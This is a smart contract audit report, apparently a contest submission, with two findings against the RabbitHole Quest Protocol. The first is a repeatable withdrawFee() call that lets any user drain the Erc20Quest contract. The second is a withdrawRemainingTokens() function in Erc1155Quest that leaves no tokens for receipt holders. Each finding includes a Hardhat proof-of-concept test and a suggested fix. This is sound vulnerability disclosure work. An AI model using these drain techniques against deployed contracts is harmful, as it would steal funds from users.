RabbitHole Quest Protocol contest - holme's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

Impact

The withdrawFee() function in the Erc20Quest contract can be called multiple times. The modifier onlyAdminWithdrawAfterEnd is applied to the function which only makes it possible to call it after the end time of a quest. It should be noted that any user is allowed to call functions using the modifier onlyAdminWithdrawAfterEnd. Users should be able to redeem their receipts and claim their rewards even after the end time. A malicious user can call the withdrawFee() function multiple times until the funds of the contract is drained, leaving no tokens left for users to claim.

Proof of Concept

The following test can be added to quest-protocol/test/Erc20Quest.spec.ts in the withdrawFee() group (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/test/Erc20Quest.spec.ts#L351)

it('can be called multiple times by any user to drain contract', async () => {
      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()

      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)

      expect(beginningContractBalance).to.equal(totalRewardsPlusFee * 100)
      await ethers.provider.send('evm_increaseTime', [100001])

      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      const protocolFee = await deployedQuestContract.protocolFee()

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        protocolFee.add(rewardAmount)
      )

      //Calculate how many times withdrawFee() can be called before balance < protocolFee
      const numCalls = (await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address))
        .div(protocolFee)
        .toNumber()

      for (let i = 0; i < numCalls; i++) {
        await deployedQuestContract.connect(secondAddress).withdrawFee()
      }

      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee.mul(numCalls))
      await expect(deployedQuestContract.connect(firstAddress).claim()).to.be.revertedWith(
        'ERC20: transfer amount exceeds balance'
      )
      expect(await deployedQuestContract.receiptRedeemers()).to.equal(1)
      expect(protocolFee).to.equal(200) // 1 * 1000 * (2000 / 10000) = 200

      await ethers.provider.send('evm_increaseTime', [-100001])
    })

The command yarn hardhat test --grep withdrawFee can be used to run the test.

Recommended Mitigation Steps

An approach to fixing this issue would be to use a bool isFeeClaimed to require that withdrawFee() can only be called once (when the fee hasn't been claimed yet). If this approach is used, it is important to concider that the calculation of nonClaimableTokens in withdrawRemainingTokens() can be incorrect if the fee has been claimed before withdrawRemainingTokens() is called. Logic can be added to only consider the fee if it hasn't been claimed yet.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L56-L62

Vulnerability details

Impact

The withdrawRemainingTokens() function in the Erc1155Quest contract does not consider the amount of unclaimed tokens. When the owner calls the function when the quest has ended, all tokens belonging to the contract will be withdrawn. Any user who has not yet used their receipt to claim their token(s) will no longer be able to claim them since all tokens has been withdrawn by the owner, leaving their receipts useless.

Proof of Concept

The following test can be added in quest-protocol/test/Erc1155Quest.spec.ts to the claim() group (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/test/Erc1155Quest.spec.ts#L199)

it('leaves no tokens behind for users to claim', async () => {
      await deployedRabbitholeReceiptContract.mint(owner.address, questId)
      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [86400])

      const beginningContractBalance = await deployedSampleErc1155Contract.balanceOf(
        deployedQuestContract.address,
        rewardAmount
      )

      expect(beginningContractBalance.toString()).to.equal('100')

      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      await expect(deployedQuestContract.claim()).to.be.revertedWith('ERC1155: insufficient balance for transfer')

      await ethers.provider.send('evm_increaseTime', [-86400])
    })

The command yarn hardhat test --grep "leaves no tokens behind" can be used to run the test

Recommended Mitigation Steps

Note that the Erc20Quest contract considers the unclaimed token amount and ensures this amount will be kept in the contract to allow users to claim their tokens even after withdrawRemainingTokens() has been called, as can be seen on lines 84-86 in Erc20Quest (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L84-L86)

 uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
 uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens;
 IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);

A similiar calculation should be introduced to withdrawRemainingTokens() in the Erc1155Quest contract.